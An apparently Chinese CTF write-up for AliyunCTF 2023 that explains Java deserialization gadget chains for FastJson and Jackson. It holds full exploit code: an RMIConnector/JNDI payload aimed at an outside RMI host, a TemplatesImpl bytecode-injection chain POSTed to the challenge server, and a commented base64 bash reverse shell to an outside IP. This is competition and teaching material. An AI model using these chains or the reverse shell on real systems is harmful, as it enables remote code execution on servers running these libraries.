April 25, 2023

AliyunCTF 2023 Writeup

就出了一个ezbean,还是太菜了。比赛好多,要寄了QWQ

ezbean

考点:RMI二次反序列化+FastJson
这一题出的不太好。因为题目自己改了东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.ctf.ezser.bean;

import java.io.IOException;
import java.io.Serializable;
import javax.management.remote.JMXConnector;

public class MyBean implements Serializable {

private Object url;
private Object message;
private JMXConnector conn;


public MyBean() {}

public MyBean(Object url, Object message) {
this.url = url;
this.message = message;
}

public MyBean(Object url, Object message, JMXConnector conn) {
this.url = url;
this.message = message;
this.conn = conn;
}

public String getConnect() throws IOException {
try {
this.conn.connect();
return "success";
} catch (IOException var2) {
return "fail";
}
}

public void connect() {}

public Object getMessage() {
return this.message;
}

public void setMessage(Object message) {
this.message = message;
}

public Object getUrl() {
return this.url;
}

public void setUrl(Object url) {
this.url = url;
}
}

题目给了个bean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.ctf.ezser.controller;

import com.ctf.ezser.utils.MyObjectInputStream;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Base64;

@RestController
public class IndexController {
@RequestMapping("/read")
public String read(@RequestParam String data) {
try {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
return "error";
}
return "success";
}
}

然后就是controller了,结合题目给的pom文件里有FastJson1.2.60可以想到二次反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.ctf.ezser.bean;
import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.utils.MyObjectInputStream;
import org.springframework.boot.autoconfigure.SpringBootApplication;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
@SpringBootApplication
public class exp {

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

//反射设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static void main(String[] args) {
try {
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://114.116.119.253:1099/y0axfh"),null);
MyBean mbean = new MyBean(null,null, rmiConnector);


JSONObject jsonObject = new JSONObject();
jsonObject.put("asd",mbean);

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,jsonObject);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(poc);



byte[] bytes = byteArrayOutputStream.toByteArray();
String s1 = Base64.getEncoder().encodeToString(bytes);
System.out.println(s1);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
MyObjectInputStream ois = new MyObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}

}

但是你本地运行是不通过的。
image.png
百度了一下这个错误,是因为RMIConnector没有无参构造,FastJson才会这样,但是拿编码去打题目就通拉。
![]809CA}4MD5C]G%21V)ECM.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1682266130115-f285e012-dac7-49cd-b821-7a5cf0ae2c66.png#averageHue=%231c1b1a&clientId=u00773044-af77-4&from=paste&height=266&id=uf9480a4f&name=%5D809CA%7D4MD5C%5DG%2521V%29ECM.png&originHeight=332&originWidth=1020&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=26629&status=done&style=none&taskId=u2317c9f2-fc34-4061-a45f-3511ab00821&title=&width=816)

pathtoshell

OGNL注入,没WP呢
3.29版本

Obisidan

像是类似XSS的东西。不知道咋打呢

Teapot

考点是邮箱伪造,也没WP呢

bypassit1

考点:Spring+JDK原生链?
这个好像是新链子。也是等WP复现。
嗯现在写出来了,来补上预期解。
实际上也很简单,为什么自己没有早点想到呢(不熟练),预期解法和FastJson调用任意的getter和setter一样,Jackson同样也是会调用getter的,这里是可以通过一个Demo来演示的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

public class User {
private String name;
private String age;

public User() {
}

public User(String name, String age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("getname");
return name;
}

public void setName(String name) {
System.out.println("setname");
this.name = name;
}

public String getAge() {
return age;
}

public void setAge(String age) {
this.age = age;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;

import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws NoSuchMethodException, JsonProcessingException {
User test = new User("test", "11");
ObjectMapper mapper = new ObjectMapper();
mapper.writeValueAsString(test);
}
}

我们简单的调用一下JackJson的writeValueAsString方法
image.png
可以发现是成功的调用了getter的,那么为什么会调用到getter呢?我们再getter上给个断点看看
image.png
已经获取到了get方法,这边获取的点我就不是很清楚了,有需要的师傅可以自己去看看,我跟了几遍发现是一个递归获取的,就是图中的调用栈循环几次获取,但是和网上的文章有点不一样,我找不到哪里获取了getter。。。
image.png
但是最后是在serializeAsFiled里面进行的反射调用,最终也就调用了getter
image.png
主要逻辑还是在这里,调试过程中会发现不断进入findValueSerializer方法获取ser,然后一系列的链式调用balabala就获得到了。网上的JackSon反序列化漏洞我调的时候都进不去,都不对劲。那么直接说正文,既然知道了可以getter调用,那我们就来测试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package org.example;

import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;

/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}\");");
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
//doPOST(exp.toString().getBytes());
//byte[] byt=new byte[fileInputStream.available()];
//fileInputStream.read(byt);
//doPOST(byt);
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://112.124.14.13:8080/bypassit");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

payload就长这样,不出意外的话就要出意外了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Exception in thread "main" java.lang.IllegalArgumentException: Failed to JDK serialize `POJONode` value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
at com.fasterxml.jackson.databind.node.NodeSerialization.from(NodeSerialization.java:40)
at com.fasterxml.jackson.databind.node.BaseJsonNode.writeReplace(BaseJsonNode.java:28)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeWriteReplace(ObjectStreamClass.java:1118)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1136)
at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)
at org.example.App.main(App.java:49)
Caused by: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392)
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351)
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782)
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142)
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39)
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480)
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319)
at com.fasterxml.jackson.databind.ObjectMapper._writeValueAndClose(ObjectMapper.java:4568)
at com.fasterxml.jackson.databind.ObjectMapper.writeValueAsBytes(ObjectMapper.java:3844)
at com.fasterxml.jackson.databind.node.InternalNodeMapper.valueToBytes(InternalNodeMapper.java:47)
at com.fasterxml.jackson.databind.node.NodeSerialization.from(NodeSerialization.java:38)
... 13 more
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$1.run(TemplatesImpl.java:401)
at java.security.AccessController.doPrivileged(Native Method)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:399)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 24 more

报错信息如上,可以看到是已经调用了Templates的但是除了点问题,我们断点给在TempaltesImpl上
image.png
在这里我们报错了,就差那么一点点。。。调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
run:401, TemplatesImpl$1 (com.sun.org.apache.xalan.internal.xsltc.trax)
doPrivileged:-1, AccessController (java.security)
defineTransletClasses:399, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsBytes:3844, ObjectMapper (com.fasterxml.jackson.databind)
valueToBytes:47, InternalNodeMapper (com.fasterxml.jackson.databind.node)
from:38, NodeSerialization (com.fasterxml.jackson.databind.node)
writeReplace:28, BaseJsonNode (com.fasterxml.jackson.databind.node)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeWriteReplace:1118, ObjectStreamClass (java.io)
writeObject0:1136, ObjectOutputStream (java.io)
defaultWriteFields:1548, ObjectOutputStream (java.io)
writeSerialData:1509, ObjectOutputStream (java.io)
writeOrdinaryObject:1432, ObjectOutputStream (java.io)
writeObject0:1178, ObjectOutputStream (java.io)
writeObject:348, ObjectOutputStream (java.io)
main:49, App (org.example)

会发现我们走到了一个比较奇怪的方法里,writereplace,在网上检索了一番后发现这也是readObject的时候会优先调用的方法,这是PojoNode的父类BaseJsonNode里面的方法
image.png
随后
image.png
就会在这抛出错误,这就是说明我们没有走正常的反序列化流程,解决方法也很简单,改一下jar包。把这个方法删掉就好了。。。
或者我们再当前项目创建一个一样的类也可以实现代替:
image.png
然后把writeReplace方法删掉就可以了
image.png
成功RCE。。。然后直接在题目环境打一遍:
最后EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package org.example;

import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;

/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}\");");
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
doPOST(exp.toString().getBytes());
byte[] byt=new byte[fileInputStream.available()];
fileInputStream.read(byt);
doPOST(byt);
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://112.124.14.13:8080/bypassit");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

然后agent.jar完全就是为了让TemplatesImpl成功实例化而存在的。否则会跑错
下面是WM的WP,很猛的!WM里面的爷爷们
AliyunCTF By Straw Hat.pdf

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp